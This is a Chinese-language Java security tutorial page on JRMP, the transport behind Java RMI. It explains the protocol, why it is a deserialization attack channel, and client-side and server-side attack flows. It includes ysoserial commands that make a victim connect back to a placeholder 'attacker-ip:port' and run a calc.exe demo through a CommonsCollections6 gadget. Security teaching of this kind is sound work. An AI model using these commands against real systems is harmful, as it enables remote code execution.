Java安全
Java 基础知识
01概述
02变量
03运算符
04程序控制语句
05数组
06面向对象编程
07代码练习
08重载
09作用域
10构造方法&构造器
11this
12包
13修饰符
14封装
15继承
16super
17覆盖&重写
18多态
19零钱通项目
20类变量&类方法
21抽象类
22接口
23内部类
24枚举
25泛型
26常用API
27lambda表达式
28正则表达式
29异常
30File&IO流
31日志技术
32多线程
33网络编程
01反射
02反序列化
03JVM
04JDBC
05RMI
06JRMP
07JNDI
08CDI
09JPA
10Servlet
11Filter
12MVC模型
13MVC框架
14类的加载机制
15Maven
16注解
17ORM
18CC链
19JNDI注入
Log4j2
-
+
首页
06JRMP
## 概述 JRMP(Java Remote Method Protocol,Java 远程方法协议)是 Java RMI(Remote Method Invocation)的底层通信协议,专门用于在不同 JVM(Java 虚拟机)之间传输远程方法调用的相关数据,是 Java 实现分布式对象通信的核心协议。 本质:它是一个专有的、基于Java序列化的应用层协议。 角色:它是 Java RMI 的默认和原生传输协议。 功能:它定义了在 RMI 客户端和服务器之间如何进行网络通信,包括如何封装方法调用请求、传递参数、返回结果和异常。 ## 工作原理 JRMP的通信流程是完全嵌入到RMI的调用过程中: ### 远程对象注册阶段 服务端将远程对象(实现Remote接口)注册到 RMI Registry(注册中心)时,JRMP 会生成该对象的远程引用(Remote Reference)—— 包含对象的唯一标识、服务端地址(IP: 端口)等元数据,以特定格式存储在 Registry 中。 ### 客户端查找远程对象阶段 客户端通过 RMI Registry 查找远程对象时,Registry 通过 JRMP 将 “远程引用” 序列化后返回给客户端; 客户端收到后,JRMP 协议解析远程引用,生成Stub(存根,客户端代理)——Stub 封装了服务端地址和 JRMP 通信逻辑,是客户端调用远程方法的入口。 ### 远程方法调用阶段 客户端调用 Stub 的方法时,Stub 通过 JRMP 协议将调用信息(方法名、参数类型、参数值)序列化为字节流; 字节流通过网络发送到服务端的指定端口(由远程引用指定); ### 服务端处理阶段 服务端的Skeleton(骨架,服务端代理) 通过 JRMP 接收字节流,将其反序列化为调用信息; Skeleton 调用实际远程对象的对应方法,获取返回值; ### 结果返回阶段 服务端通过 JRMP 将返回值序列化为字节流,发送回客户端; 客户端 Stub反序列化字节流,得到返回值并返回给调用者。 ## 安全风险 在安全领域,JRMP 之所以重要,几乎完全是因为它无条件地信任并自动执行 Java 反序列化。这使它成为传递恶意序列化对象的完美通道。 ### JRMP 客户端攻击 受害者充当 JRMP 客户端,主动连接到一个由攻击者控制的恶意 JRMP 服务端。 攻击场景:当发现一个应用存在反序列化漏洞,但找不到一条完整的、可用的“ gadget chain ”来直接利用,这时,JRMP 客户端攻击可以作为一种间接手段。 利用工具:使用 ysoserial 生成 JRMPClient payload。 攻击流程: 1. 搭建恶意服务端:攻击者在自己的服务器上启动一个恶意的 JRMP 监听器(例如使用 ysoserial 的 JRMPListener)。 2. 生成攻击载荷:攻击者生成一个 JRMPClient payload,这个 payload 本身是一个恶意的序列化对象,其作用就是让受害者机器向攻击者的恶意服务端发起一个 JRMP 连接。 ```bash java -jar ysoserial.jar JRMPClient "attacker-ip:port" > payload.ser ``` 触发漏洞:攻击者将这个 payload.ser 发送给受害者应用(例如通过一个反序列化漏洞点)。 受害者中招: - 受害者应用反序列化 payload.ser。 - 反序列化后,payload 中的代码生效,导致受害者应用(作为 JRMP 客户端)向 attacker-ip:port 发起连接。 - 攻击者的 JRMPListener 接收到连接后,会立即返回一个包含第二个恶意对象(如一个 Reference)的响应。 - 受害者的 JRMP 层在处理这个响应时,会反序列化这个来自服务端的对象,如果环境中存在相应的 gadget chain,就会在这个“第二次”反序列化时触发远程代码执行。 ### JRMP 服务端攻击 受害者充当 JRMP 服务端,等待并处理来自攻击者(客户端)的恶意请求。 攻击场景:你需要攻击一个暴露了 RMI/JRMP 端口的服务。 利用工具:使用 ysoserial 生成 JRMPServer。 攻击流程: 1. 生成恶意服务端:攻击者本地启动一个 JRMPServer,并预先配置好要执行的命令。 ```bash java -cp ysoserial.jar ysoserial.exploit.JRMPListener <port> CommonsCollections6 "calc.exe" ``` 触发连接:攻击者需要诱使受害者服务端反序列化一个特定的payload,这个payload会让受害者服务端主动连接回攻击者控制的某个服务。或者,在某些复杂的中间人攻击中,直接向受害者服务端发送恶意JRMP请求。 服务端中招:当受害者服务端处理这个恶意的 JRMP 调用时,它会反序列化攻击者发送的参数,从而触发命令执行。
毛林
2025年10月27日 20:56
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码